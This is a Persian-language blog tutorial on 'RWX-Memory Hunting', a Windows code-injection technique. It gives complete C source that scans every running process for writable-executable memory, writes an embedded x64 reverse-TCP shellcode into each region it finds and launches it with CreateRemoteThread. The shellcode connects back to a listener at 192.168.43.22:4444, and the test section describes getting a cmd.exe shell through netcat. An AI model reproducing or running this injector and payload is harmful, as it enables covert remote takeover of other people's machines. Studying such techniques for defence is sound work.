تزریق کد بوسیله تکنیک RWX-Memory Hunting
RWX-Memory Hunting روشی بسیار ساده برای تزریق کد به پروسه های دیگر است . همانطور که از اسم این تکنیک بر می آید ، به حافظه کل پروسه های سیستم سرک میکشیم ، به محض اینکه یک قسمت از حافظه در پروسه دیگری با حالت RWX ( قابل خواندن ، نوشتن و اجرا کردن) پیدا کردیم ، یک shellcode درون آن مینویسیم و یک thread برای اجرای آن shellcode میسازیم (دقیقا کاری که در “تزریق کد کلاسیک” انجام میدادیم) .
روش پیاده سازی RWX-Memory Hunting
در پیاده سازی این تکنیک ابتدا تمام پروسه های در حال اجرای سیستم را سرشماری میکنیم (توسط تابع های CreateToolhelp32Snapshot , Process32First , Process32Next). بخش های حافظه هر کدام از پروسه های سیستم را جستوجو میکنیم تا ببینیم آیا منطقه ای با حالت RWX در آن موجود است یا نه (توسط تابع VirtualQueryEx) . اگر چنین منطقه ای پیدا کردیم ، shellcode موردنظر خود را در آن منطقه نوشته (توسط تابع WriteProcessMemory) و یک thread در پروسه مقصد میسازیم تا آن shellcode را اجرا کند (توسط تابع CreateRemoteThread) .
همانطور که اشاره شد برای جستوجو مناطق RWX از تابع VirtualQueryEx استفاده میکنیم . این تابع میتواند اطلاعاتی در مورد محدوده ای از حافظه در یک پروسه دیگر به ما بدهد . این اطلاعات شامل نوع محافظتی (Protection) آن منطقه حافظه نیز میباشد .
الگو یا prototype تابع VirtualQueryEx در Windows API به شکل زیر است :
SIZE_T VirtualQueryEx(
[in] HANDLE hProcess,
[in, optional] LPCVOID lpAddress,
[out] PMEMORY_BASIC_INFORMATION lpBuffer,
[in] SIZE_T dwLength
);
اولین پارامتر تابع یک handle به پروسه مقصد است که قصد بررسی نواحی حافظه آن را داریم (توسط OpenProcess بدست می آید) . دومین پارامتر تابع آدرس شروع منطقه ای از حافظه است که میخواهیم اطلاعات آن را بدست بیاوریم .
پارامتر سوم یک اشاره گر به ساختار MEMORY_BASIC_INFORMATION است که حاوی اطلاعاتی از یک ناحیه از حافظه است . تابع VirtualQueryEx به عنوان خروجی کار ، اطلاعات حافظه مورد نظر را در این ساختار برای ما ذخیره میکند .
نهایتا پارامتر آخر اندازه ساختاری است که اشاره گر آن را در پارامتر سوم به تابع داده ایم .
ساختار MEMORY_BASIC_INFORMATION به شکل زیر تعریف شده است :
typedef struct _MEMORY_BASIC_INFORMATION {
PVOID BaseAddress;
PVOID AllocationBase;
DWORD AllocationProtect;
WORD PartitionId;
SIZE_T RegionSize;
DWORD State;
DWORD Protect;
DWORD Type;
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
سه عضو از این ساختار برای ما مهم هستند . AllocationProtect , RegionSize و State . اولی مشخص کننده حالت محافظتی منطقه مورد نظر از حافظه است که ما به دنبال مناطقی هستیم که AllocationProtect در آن ها برابر ماکرو PAGE_EXECUTE_READWRITE باشد (همان RWX) .
دومی مشخص کننده اندازه آن منطقه از حافظه در واحد byte است یعنی اختلاف آدرس شروع منطقه مورد نظر از حافظه ( در پارامتر دوم به VirtualQueryEx میدهیم ) تا بخش های بعدی از حافظه که ویژگی های یکسانی دارند .
نهایتا سومی یعنی State مشخص کننده وضعیت تخصیص حافظه است . میتواند یکی از مقادیر MEM_COMMIT , MEM_RESERVE و یا MEM_FREE باشد . حافظه ای که ما به دنبال آن هستیم باید MEM_COMMIT باشد .
برای اطلاعات بیشتر در مورد تابع VirtualQueryEx و پارامتر های آن به منبع رسمی مراجعه کنید که در بخش منابع آورده شده است .
سورس کد RWX-Memory Hunting در C
#include <windows.h>
#include <tlhelp32.h>
/* x64 shell_reverse_tcp shellcode */
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x2b\x16\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
int main (int argc , char ** argv){
/* Create an snapshot from system processes to enumerate them */
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS , 0);
PROCESSENTRY32 pe = { 0 };
pe.dwSize = sizeof (pe);
/* Get first process from snapshot */
Process32First(snapshot , &pe);
/* iterate over all system processes */
do {
/* ignore injection if process is explorer.exe or devcpp.exe , my editor 🙂 */
if (0 == strcmp("explorer.exe" , &pe.szExeFile) ||
0 == strcmp("devcpp.exe" , &pe.szExeFile)) continue ;
HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS , 0 , pe.th32ProcessID);
if (!hProcess) continue ;
LPVOID offset = (LPVOID)0 ; /* lpAddress in VirtualQueryEx */
MEMORY_BASIC_INFORMATION meminfo = { 0 };
while (VirtualQueryEx(hProcess , (LPCVOID)offset , &meminfo , sizeof (meminfo))){
if (meminfo.AllocationProtect == PAGE_EXECUTE_READWRITE &&
meminfo.State == MEM_COMMIT){
/* This is a RWX & Commited region 🙂 */
/* Injecting shellcode to this region */
printf("[+] RWX memory at %p in %s\n" ,(LPVOID)offset , &pe.szExeFile);
/* Writing the shellcode to the region */
WriteProcessMemory(hProcess , offset , shellcode , sizeof(shellcode) , 0);
/* Create a remote thread to run injected shellcode */
CreateRemoteThread(hProcess , 0 , 0 , (LPTHREAD_START_ROUTINE)offset , 0 ,
0 , 0);
}
/* Updating offset to check next region of process memory */
offset = (LPVOID)((DWORD_PTR)meminfo.BaseAddress + meminfo.RegionSize) ;
}
CloseHandle(hProcess);
} while (Process32Next(snapshot , &pe));
return 0x0 ;
}
بعد از اینکه در خط ۴۲ یک snapshot از پروسه های سیستم ساخته ایم ، در حلقه do-while خط ۵۰ ، تک تک پروسه های سیستم را با استفاده از OpenProcess باز میکنیم و از آدرس صفر شروع به بررسی نواحی حافظه آن ها میکنیم . به محض اینکه یک حافظه با حالت RWX که Commit شده است پیدا کردیم (شرط خط ۶۳) shellcode ر ا به آن تزریق کرده و یک thread برای اجرای shellcode میسازیم .
دقت کنید در خط ۵۲ یک شرط اجرا کرده ایم که اگر پروسه explorer.exe یا devcpp.exe بود عملیات تزریق انجام نشود . تزریق به explorer.exe میتواند باعث ایجاد مشکلاتی شود که نیاز به restart کردن explorer.exe پیش می آید برای همین بیخیال آن شده ایم . در اینجا ، از آنجایی که از محیط توسعه devcpp.exe برای نوشتن و اجرای این کد استفاده میکردیم و تزریق به این محیط میتواند باعث crash کردن آن شود از این پروسه نیز گذشت کرده ایم :).
اجرا و تست
shellcode استفاده شده در سورس کد ما یک شل معکوس بود که به سیستم شنودگر من به آدرس 192.168.43.22 و درگاه 4444 متصل میشود . پس قبل از اجرای نسخه compile شده سورس کد ، یک شنودگر توسط netcat در سیستم شنودگر ایجاد کرده و سپس بدافزار را اجرا میکنم :
در سمت چپ تصویر کد compile شده را اجرا کرده و در سمت راست نیز شنودگر را . همانطور که نتیجه را میبینید یک دسترسی به cmd.exe در شنودگر ایجاد شده است .
منابع
علاقه مند به دنیای کامپیوتر ها ...
عالی 🙂
🙂